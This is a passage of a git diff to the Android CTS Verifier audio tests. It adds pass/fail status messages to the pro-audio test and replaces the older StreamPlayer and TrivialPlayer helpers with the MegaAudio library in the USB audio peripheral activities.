     private static final String INFO_DIALOG_TITLE_ID = "infoDialogTitleId";
@@ -159,14 +163,38 @@
         calculatePass();
     }
 
-    private void calculatePass() {
+    private boolean calculatePass() {
         boolean hasPassed = !mClaimsProAudio ||
                 (mClaimsLowLatencyAudio && mClaimsMIDI &&
                 mClaimsUSBHostMode && mClaimsUSBPeripheralMode &&
                 (!mClaimsHDMI || isHDMIValid()) &&
                 mOutputDevInfo != null && mInputDevInfo != null &&
                 mConfidence >= CONFIDENCE_THRESHOLD && mLatencyMillis <= PROAUDIO_LATENCY_MS_LIMIT);
+
         getPassButton().setEnabled(hasPassed);
+        return hasPassed;
+    }
+
+    private void displayTestResults() {
+        boolean hasPassed = calculatePass();
+
+        Resources strings = getResources();
+        if (hasPassed) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_pass));
+        } else if (mClaimsProAudio && mLatencyMillis > PROAUDIO_LATENCY_MS_LIMIT) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_latencytoohigh));
+        } else if (mClaimsProAudio && mConfidence < CONFIDENCE_THRESHOLD) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_confidencetoolow));
+        } else if (!mClaimsMIDI) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_midinotreported));
+        } else if (!mClaimsUSBHostMode) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_usbhostnotreported));
+        } else if (!mClaimsUSBPeripheralMode) {
+            mTestStatusLbl.setText(strings.getString(
+                    R.string.audio_proaudio_usbperipheralnotreported));
+        } else if (mClaimsHDMI && isHDMIValid()) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdminotvalid));
+        }
     }
 
     @Override
@@ -209,6 +237,8 @@
         mClaimsHDMICheckBox = (CheckBox)findViewById(R.id.proAudioHasHDMICheckBox);
         mClaimsHDMICheckBox.setOnClickListener(this);
 
+        mTestStatusLbl = (TextView)findViewById(R.id.proAudioTestStatusLbl);
+
         calculatePass();
     }
 
@@ -277,7 +307,7 @@
         switch (view.getId()) {
         case R.id.proAudio_runRoundtripBtn:
             startAudioTest();
-           break;
+            break;
 
         case R.id.proAudioHasHDMICheckBox:
             if (mClaimsHDMICheckBox.isChecked()) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialPlayer.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialPlayer.java
deleted file mode 100644
index af09504..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialPlayer.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-
-import java.lang.InterruptedException;
-import java.lang.Math;
-import java.lang.Runnable;
-
-public class TrivialPlayer implements Runnable {
-    AudioTrack mAudioTrack;
-    int mBufferSize;
-
-    boolean mPlay;
-    boolean mIsPlaying;
-
-    short[] mAudioData;
-
-    Thread mFillerThread = null;
-
-    public TrivialPlayer() {
-        mBufferSize =
-                AudioTrack.getMinBufferSize(
-                    41000,
-                    AudioFormat.CHANNEL_OUT_STEREO,
-                    AudioFormat.ENCODING_PCM_16BIT);
-        mAudioTrack =
-            new AudioTrack(
-                AudioManager.STREAM_MUSIC,
-                41000,
-                AudioFormat.CHANNEL_OUT_STEREO,
-                AudioFormat.ENCODING_PCM_16BIT,
-                mBufferSize,
-                AudioTrack.MODE_STREAM);
-
-        mPlay = false;
-        mIsPlaying = false;
-
-        // setup audio data (silence will suffice)
-        mAudioData = new short[mBufferSize];
-        for (int index = 0; index < mBufferSize; index++) {
-            // mAudioData[index] = 0;
-            // keep this code since one might want to hear the playnig audio
-            // for debugging/verification.
-            mAudioData[index] =
-                (short)(((Math.random() * 2.0) - 1.0) * (double)Short.MAX_VALUE/2.0);
-        }
-    }
-
-    public AudioTrack getAudioTrack() { return mAudioTrack; }
-
-    public boolean isPlaying() {
-        synchronized (this) {
-            return mIsPlaying;
-        }
-    }
-
-    public void start() {
-        mPlay = true;
-        mFillerThread = new Thread(this);
-        mFillerThread.start();
-    }
-
-    public void stop() {
-        mPlay = false;
-        mFillerThread = null;
-    }
-
-    public void shutDown() {
-        stop();
-        while (isPlaying()) {
-            try {
-                Thread.sleep(10);
-            } catch (InterruptedException ex) {
-            }
-        }
-        mAudioTrack.release();
-    }
-
-    @Override
-    public void run() {
-        mAudioTrack.play();
-        synchronized (this) {
-            mIsPlaying = true;
-        }
-        while (mAudioTrack != null && mPlay) {
-            mAudioTrack.write(mAudioData, 0, mBufferSize);
-        }
-        synchronized (this) {
-            mIsPlaying = false;
-        }
-        mAudioTrack.stop();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialRecorder.java
deleted file mode 100644
index f684681..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialRecorder.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioRecord;
-
-import android.media.MediaRecorder;
-
-import java.lang.InterruptedException;
-import java.lang.Runnable;
-
-public class TrivialRecorder implements Runnable {
-    AudioRecord mAudioRecord;
-    int mBufferSize;
-
-    boolean mRecord;
-    boolean mIsRecording;
-
-    short[] mAudioData;
-
-    Thread mReaderThread = null;
-
-    public TrivialRecorder() {
-        mBufferSize =
-                AudioRecord.getMinBufferSize(
-                    41000,
-                    AudioFormat.CHANNEL_IN_MONO,
-                    AudioFormat.ENCODING_PCM_16BIT);
-        mAudioRecord =
-            new AudioRecord(
-                MediaRecorder.AudioSource.DEFAULT,
-                41000,
-                AudioFormat.CHANNEL_IN_MONO,
-                AudioFormat.ENCODING_PCM_16BIT,
-                mBufferSize);
-
-        mRecord = false;
-        mIsRecording = false;
-
-        // setup audio data (silence will suffice)
-        mAudioData = new short[mBufferSize];
-    }
-
-    public AudioRecord getAudioRecord() { return mAudioRecord; }
-
-    public boolean mIsRecording() {
-        synchronized (this) {
-            return mIsRecording;
-        }
-    }
-
-    public void start() {
-        mRecord = true;
-        mReaderThread = new Thread(this);
-        mReaderThread.start();
-    }
-
-    public void stop() {
-        mRecord = false;
-        mReaderThread = null;
-    }
-
-    public void shutDown() {
-        stop();
-        while (mIsRecording()) {
-            try {
-                Thread.sleep(10);
-            } catch (InterruptedException ex) {
-            }
-        }
-        mAudioRecord.release();
-    }
-
-    @Override
-    public void run() {
-        mAudioRecord.startRecording();
-        synchronized (this) {
-            mIsRecording = true;
-        }
-       while (mRecord) {
-            mAudioRecord.read(mAudioData, 0, mBufferSize);
-        }
-        mAudioRecord.stop();
-        synchronized (this) {
-            mIsRecording = false;
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
index 8f0a9b0..5a2846c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -52,9 +52,6 @@
 
     protected final boolean mIsMandatedRequired;
 
-    // This will be overriden...
-    protected  int mSystemSampleRate = 48000;
-
     // Widgets
     private TextView mProfileNameTx;
     private TextView mProfileDescriptionTx;
@@ -138,9 +135,6 @@
 
         mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
         mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
-
-        mSystemSampleRate = Integer.parseInt(
-            mAudioManager.getProperty(AudioManager.PROPERTY_OUTPUT_SAMPLE_RATE));
     }
 
     protected void connectPeripheralStatusWidgets() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index fc666aa..7b85469 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -17,60 +17,68 @@
 package com.android.cts.verifier.audio;
 
 import android.content.Context;
-import android.media.AudioManager;
 import android.util.Log;
 
-import com.android.cts.verifier.audio.audiolib.SignalGenerator;
-import com.android.cts.verifier.audio.audiolib.StreamPlayer;
-import com.android.cts.verifier.audio.audiolib.WaveTableFloatFiller;
-import com.android.cts.verifier.audio.peripheralprofile.USBDeviceInfoHelper;
+import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
+
+// MegaAudio imports
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.JavaPlayer;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
 
 public abstract class USBAudioPeripheralPlayerActivity extends USBAudioPeripheralActivity {
     private static final String TAG = "USBAudioPeripheralPlayerActivity";
 
-    protected  int mSystemBufferSize;
+    // MegaPlayer
+    static final int NUM_CHANNELS = 2;
+    JavaPlayer mAudioPlayer;
 
-    // Player
     protected boolean mIsPlaying = false;
-    protected StreamPlayer mPlayer = null;
-    protected WaveTableFloatFiller mFiller = null;
-
-    protected float[] mWavBuffer = null;
 
     protected boolean mOverridePlayFlag = true;
 
-    private static final int WAVBUFF_SIZE_IN_SAMPLES = 2048;
-
     public USBAudioPeripheralPlayerActivity(boolean requiresMandatePeripheral) {
         super(requiresMandatePeripheral); // Mandated peripheral is NOT required
     }
 
     protected void setupPlayer() {
-        mSystemBufferSize =
-            StreamPlayer.calcNumBurstFrames((AudioManager)getSystemService(Context.AUDIO_SERVICE));
+        AudioSystemParams audioSystemParams = new AudioSystemParams();
+        audioSystemParams.init(this);
 
-        // the +1 is so we can repeat the 0th sample and simplify the interpolation calculation.
-        mWavBuffer = new float[WAVBUFF_SIZE_IN_SAMPLES + 1];
+        int systemSampleRate = audioSystemParams.getSystemSampleRate();
+        int numBufferFrames = audioSystemParams.getSystemBufferFrames();
 
-        SignalGenerator.fillFloatSine(mWavBuffer);
-        mFiller = new WaveTableFloatFiller(mWavBuffer);
-
-        mPlayer = new StreamPlayer();
+        //
+        // Allocate the source provider for the sort of signal we want to play
+        //
+        AudioSourceProvider sourceProvider = new SinAudioSourceProvider();
+        try {
+            PlayerBuilder builder = new PlayerBuilder();
+            mAudioPlayer = (JavaPlayer)builder
+                    // choose one or the other of these for a Java or an Oboe player
+                    .setPlayerType(PlayerBuilder.TYPE_JAVA)
+                    // .setPlayerType(PlayerBuilder.PLAYER_OBOE)
+                    .setSourceProvider(sourceProvider)
+                    .build();
+            mAudioPlayer.setupStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
+        } catch (PlayerBuilder.BadStateException ex) {
+            Log.e(TAG, "Failed MegaPlayer build.");
+        }
     }
 
     protected void startPlay() {
         if (mOutputDevInfo != null && !mIsPlaying) {
-            int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mOutputDevInfo);
-            mPlayer.open(numChans, mSystemSampleRate, mSystemBufferSize, mFiller);
-            mPlayer.start();
+            mAudioPlayer.startStream();
+
             mIsPlaying = true;
         }
     }
 
     protected void stopPlay() {
         if (mIsPlaying) {
-            mPlayer.stop();
-            mPlayer.close();
+            mAudioPlayer.stopStream();
             mIsPlaying = false;
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index d51eac3..880013f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -18,27 +18,46 @@
 
 import android.graphics.Color;
 import android.os.Bundle;
-import android.os.Looper;
-import android.os.Message;
 import android.util.Log;
 import android.view.View;
 import android.widget.Button;
+import android.widget.Toast;
 
-import com.android.cts.verifier.audio.audiolib.StreamRecorder;
-import com.android.cts.verifier.audio.audiolib.StreamRecorderListener;
+import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
 import com.android.cts.verifier.audio.audiolib.WaveScopeView;
 
-import com.android.cts.verifier.audio.peripheralprofile.PeripheralProfile;
-import com.android.cts.verifier.audio.peripheralprofile.USBDeviceInfoHelper;
+// MegaAudio imports
+import org.hyphonate.megaaudio.common.BuilderBase;
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.duplex.DuplexAudioManager;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
+import org.hyphonate.megaaudio.recorder.RecorderBuilder;
+import org.hyphonate.megaaudio.recorder.sinks.AppCallback;
+import org.hyphonate.megaaudio.recorder.sinks.AppCallbackAudioSinkProvider;
 
 import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
 
-public class USBAudioPeripheralRecordActivity extends USBAudioPeripheralPlayerActivity {
+public class USBAudioPeripheralRecordActivity extends USBAudioPeripheralActivity {
     private static final String TAG = "USBAudioPeripheralRecordActivity";
 
-    // Recorder
-    private StreamRecorder mRecorder = null;
-    private RecordListener mRecordListener = null;
+    // JNI load
+    static {
+        try {
+            System.loadLibrary("megaaudio_jni");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "Error loading MegaAudio JNI library");
+            Log.e(TAG, "e: " + e);
+            e.printStackTrace();
+        }
+
+        /* TODO: gracefully fail/notify if the library can't be loaded */
+    }
+
+    // MegaAudio
+    private static final int NUM_CHANNELS = 2;
+    private DuplexAudioManager   mDuplexManager;
+
+    private boolean mIsPlaying = false;
     private boolean mIsRecording = false;
 
     // Widgets
@@ -53,62 +72,50 @@
         super(false); // Mandated peripheral is NOT required
     }
 
-    private void connectWaveView() {
-        // Log.i(TAG, "connectWaveView() rec:" + (mRecorder != null));
-        if (mRecorder != null) {
-            float[] smplFloatBuff = mRecorder.getBurstBuffer();
-            int numChans = mRecorder.getNumChannels();
-            int numFrames = smplFloatBuff.length / numChans;
-            mWaveView.setPCMFloatBuff(smplFloatBuff, numChans, numFrames);
-            mWaveView.invalidate();
-
-            mRecorder.setListener(mRecordListener);
-        }
-    }
-
     public boolean startRecording(boolean withLoopback) {
         if (mInputDevInfo == null) {
             return false;
         }
 
-        if (mRecorder == null) {
-            mRecorder = new StreamRecorder();
-        } else if (mRecorder.isRecording()) {
-            mRecorder.stop();
+        AudioSystemParams audioSystemParams = new AudioSystemParams();
+        audioSystemParams.init(this);
+
+        int systemSampleRate = audioSystemParams.getSystemSampleRate();
+        int numBufferFrames = audioSystemParams.getSystemBufferFrames();
+
+        mDuplexManager = new DuplexAudioManager(
+                withLoopback ? new SinAudioSourceProvider() : null,
+                new AppCallbackAudioSinkProvider(new ScopeRefreshCallback()));
+
+        if (mDuplexManager.setupStreams(
+                withLoopback ? BuilderBase.TYPE_JAVA : BuilderBase.TYPE_NONE,
+                BuilderBase.TYPE_JAVA) != StreamBase.OK) {
+            Toast.makeText(
+                    this, "Couldn't create recorder. Please check permissions.", Toast.LENGTH_LONG)
+                    .show();
+            return mIsRecording = false;
         }
 
-        // no reason to do more than 2
-        int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mInputDevInfo);
-        if (numChans > 2) {
-            numChans = 2;
-        }
-        Log.i(TAG, "  numChans:" + numChans);
-
-        if (mRecorder.open(numChans, mSystemSampleRate, mSystemBufferSize)) {
-            connectWaveView();  // Setup the WaveView
-
-            mIsRecording = mRecorder.start();
-
-            if (withLoopback) {
-                startPlay();
-            }
-
-            return mIsRecording;
+        if (mDuplexManager.start() != StreamBase.OK) {
+            Toast.makeText(
+                    this, "Couldn't start recording. Please check permissions.", Toast.LENGTH_LONG)
+                    .show();
+            return mIsRecording = false;
         } else {
-            return false;
+            mIsRecording = true;
+            mIsPlaying = withLoopback;
         }
+        return mIsRecording;
     }
 
-    public void stopRecording() {
-        if (mRecorder != null) {
-            mRecorder.stop();
+    public int stopRecording() {
+        int result = StreamBase.OK;
+        if (mDuplexManager != null) {
+            result = mDuplexManager.stop();
         }
-
-        if (mPlayer != null && mPlayer.isPlaying()) {
-            mPlayer.stop();
-        }
-
         mIsRecording = false;
+
+        return result;
     }
 
     public boolean isRecording() {
@@ -128,11 +135,6 @@
         mRecordLoopbackBtn = (Button)findViewById(R.id.uap_recordRecordLoopBtn);
         mRecordLoopbackBtn.setOnClickListener(mButtonClickListener);
 
-        setupPlayer();
-
-        mRecorder = new StreamRecorder();
-        mRecordListener = new RecordListener();
-
         mWaveView = (WaveScopeView)findViewById(R.id.uap_recordWaveView);
         mWaveView.setBackgroundColor(Color.DKGRAY);
         mWaveView.setTraceColor(Color.WHITE);
@@ -182,9 +184,6 @@
                         mRecordBtn.setEnabled(false);
                     }
                 } else {
-                    if (isPlaying()) {
-                        stopPlay();
-                    }
                     stopRecording();
                     mRecordLoopbackBtn.setText(
                         getString(R.string.audio_uap_record_recordLoopbackBtn));
@@ -195,33 +194,17 @@
         }
     }
 
-    private class RecordListener extends StreamRecorderListener {
-        /*package*/ RecordListener() {
-            super(Looper.getMainLooper());
-        }
-
-        @Override
-        public void handleMessage(Message msg) {
-            // Log.i(TAG, "RecordListener.HandleMessage(" + msg.what + ")");
-            switch (msg.what) {
-                case MSG_START:
-                    break;
-
-                case MSG_BUFFER_FILL:
-                    mWaveView.invalidate();
-                    break;
-
-                case MSG_STOP:
-                    break;
-            }
-        }
-    }
-
     @Override
     protected void onPause() {
         super.onPause();
 
-        stopPlay();
+        stopRecording();
+    }
+
+    public class ScopeRefreshCallback implements AppCallback {
+        @Override
+        public void onDataReady(float[] audioData, int numFrames) {
+            mWaveView.setPCMFloatBuff(audioData, NUM_CHANNELS, numFrames);
+        }
     }
 }
-
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
index d51ea2c..ddaef32 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
@@ -152,7 +152,7 @@
             UsbDevice theDevice = (UsbDevice) devices[0];
 
             PendingIntent permissionIntent =
-                    PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), 0);
+                    PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             IntentFilter filter = new IntentFilter(ACTION_USB_PERMISSION);
             ConnectDeviceBroadcastReceiver usbReceiver =
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioFiller.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioFiller.java
deleted file mode 100644
index fd4d6c9..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioFiller.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-/**
- * An interface for objects which provide streamed audio data to a StreamPlayer instance.
- */
-public interface AudioFiller {
-    /**
-     * Reset a stream to the beginning.
-     */
-    public void reset();
-
-    /**
-     * Process a request for audio data.
-     * @param buffer The buffer to be filled.
-     * @param numFrames The number of frames of audio to provide.
-     * @param numChans The number of channels (in the buffer) required by the player.
-     * @return The number of frames actually generated. If this value is less than that
-     * requested, it may be interpreted by the player as the end of playback.
-     */
-    public int fill(float[] buffer, int numFrames, int numChans);
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioSystemParams.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioSystemParams.java
new file mode 100644
index 0000000..d013589
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioSystemParams.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.content.Context;
+import android.media.AudioManager;
+
+public class AudioSystemParams {
+    // This value will be calculated in init()
+    private int mSystemSampleRate;
+
+    // This value will be calculated in init()
+    private int mSystemBufferFrames;
+
+    // The system burst buffer size as reported by AudioManager.PROPERTY_OUTPUT_FRAMES_PER_BUFFER
+    // This value will be calculated in init()
+    private int mSystemBurstFrames;
+
+    public void init(Context context) {
+        AudioManager audioManager = (AudioManager)context.getSystemService(Context.AUDIO_SERVICE);
+
+        String framesPerBuffer = audioManager.getProperty(
+                AudioManager.PROPERTY_OUTPUT_FRAMES_PER_BUFFER);
+        mSystemBurstFrames = Integer.parseInt(framesPerBuffer, 10);
+
+        mSystemBufferFrames = mSystemBurstFrames;
+
+        mSystemSampleRate = Integer.parseInt(
+                audioManager.getProperty(AudioManager.PROPERTY_OUTPUT_SAMPLE_RATE));
+    }
+
+    public int getSystemSampleRate() {
+        return mSystemSampleRate;
+    }
+
+    public int getSystemBufferFrames() {
+        return mSystemBufferFrames;
+    }
+
+    public int getSystemBurstFrames()  {
+        return mSystemBurstFrames;
+    }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SignalGenerator.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SignalGenerator.java
deleted file mode 100644
index 2d91acf..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SignalGenerator.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-/**
- * Generates buffers of PCM data.
- */
-public class SignalGenerator {
-    @SuppressWarnings("unused")
-    private static final String TAG = "SignalGenerator";
-
-    /**
-     * Fills a PCMFloat buffer with 1 cycle of a sine wave.
-     * NOTE: The first and last (index 0 and size-1) are filled with the
-     * sample value because WaveTableFloatFiller assumes this (to make the
-     * interpolation calculation at the end of wavetable more efficient.
-     */
-    static public void fillFloatSine(float[] buffer) {
-        int size = buffer.length;
-        float incr = ((float)Math.PI  * 2.0f) / (float)(size - 1);
-        for(int index = 0; index < size; index++) {
-            buffer[index] = (float)Math.sin(index * incr);
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
deleted file mode 100644
index bebc2a7..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
+++ /dev/null
@@ -1,217 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-import android.content.Context;
-import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-
-import android.util.Log;
-
-/**
- * Plays audio data from a stream. Audio data comes from a provided AudioFiller subclass instance.
- */
-public class StreamPlayer {
-    @SuppressWarnings("unused")
-    private static String TAG = "StreamPlayer";
-
-    private int mSampleRate;
-    private int mNumChans;
-
-    private AudioFiller mFiller;
-
-    private Thread mPlayerThread;
-
-    private AudioTrack mAudioTrack;
-    private int mNumAudioTrackFrames; // number of frames for INTERNAL AudioTrack buffer
-
-    // The Burst Buffer. This is the buffer we fill with audio and feed into the AudioTrack.
-    private int mNumBurstFrames;
-    private float[] mBurstBuffer;
-
-    private float[] mChanGains;
-    private volatile boolean mPlaying;
-
-    private AudioDeviceInfo mRoutingDevice;
-
-    public StreamPlayer() {}
-
-    public int getSampleRate() { return mSampleRate; }
-    public int getNumBurstFrames() { return mNumBurstFrames; }
-
-    public void setChanGains(float[] chanGains) {
-        mChanGains = chanGains;
-    }
-
-    public boolean isPlaying() { return mPlaying; }
-
-    private void applyChannelGains() {
-        if (mChanGains != null) {
-            int buffIndex = 0;
-            for (int frame = 0; frame < mNumBurstFrames; frame++) {
-                for (int chan = 0; chan < mNumChans; chan++) {
-                    mBurstBuffer[buffIndex++] *= mChanGains[chan];
-                }
-            }
-        }
-    }
-
-    public void setFiller(AudioFiller filler) { mFiller = filler; }
-
-    public void setRouting(AudioDeviceInfo routingDevice) {
-        mRoutingDevice = routingDevice;
-        if (mAudioTrack != null) {
-            mAudioTrack.setPreferredDevice(mRoutingDevice);
-        }
-    }
-
-    public AudioTrack getAudioTrack() { return mAudioTrack; }
-
-    private void allocBurstBuffer() {
-        mBurstBuffer = new float[mNumBurstFrames * mNumChans];
-    }
-
-    private static int calcNumBufferBytes(int sampleRate, int numChannels, int encoding) {
-        return AudioTrack.getMinBufferSize(sampleRate,
-                    AudioUtils.countToOutPositionMask(numChannels),
-                    encoding);
-    }
-
-    private static int calcNumBufferFrames(int sampleRate, int numChannels, int encoding) {
-        return calcNumBufferBytes(sampleRate, numChannels, encoding)
-                / AudioUtils.calcFrameSizeInBytes(encoding, numChannels);
-    }
-
-    public static int calcNumBurstFrames(AudioManager am) {
-        String framesPerBuffer = am.getProperty(AudioManager.PROPERTY_OUTPUT_FRAMES_PER_BUFFER);
-        return Integer.parseInt(framesPerBuffer, 10);
-    }
-
-    public boolean open(int numChans, int sampleRate, int numBurstFrames, AudioFiller filler) {
-//        Log.i(TAG, "StreamPlayer.open(chans:" + numChans + ", rate:" + sampleRate +
-//                ", frames:" + numBurstFrames);
-
-        mNumChans = numChans;
-        mSampleRate = sampleRate;
-        mNumBurstFrames = numBurstFrames;
-
-        mNumAudioTrackFrames =
-                calcNumBufferFrames(sampleRate, numChans, AudioFormat.ENCODING_PCM_FLOAT);
-
-        mFiller = filler;
-
-        int bufferSizeInBytes = mNumAudioTrackFrames *
-                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChans);
-        try {
-            mAudioTrack = new AudioTrack.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
-                            .setSampleRate(mSampleRate)
-                            .setChannelIndexMask(AudioUtils.countToIndexMask(mNumChans))
-                            .build())
-                    .setBufferSizeInBytes(bufferSizeInBytes)
-                    .build();
-
-            allocBurstBuffer();
-            return true;
-        }  catch (UnsupportedOperationException ex) {
-            Log.e(TAG, "Couldn't open AudioTrack: " + ex);
-            mAudioTrack = null;
-            return false;
-        }
-    }
-
-    private void waitForPlayerThreadToExit() {
-        try {
-            if (mPlayerThread != null) {
-                mPlayerThread.join();
-                mPlayerThread = null;
-            }
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-    }
-
-    public void close() {
-        stop();
-
-        waitForPlayerThreadToExit();
-
-        if (mAudioTrack != null) {
-            mAudioTrack.release();
-            mAudioTrack = null;
-        }
-    }
-
-    public boolean start() {
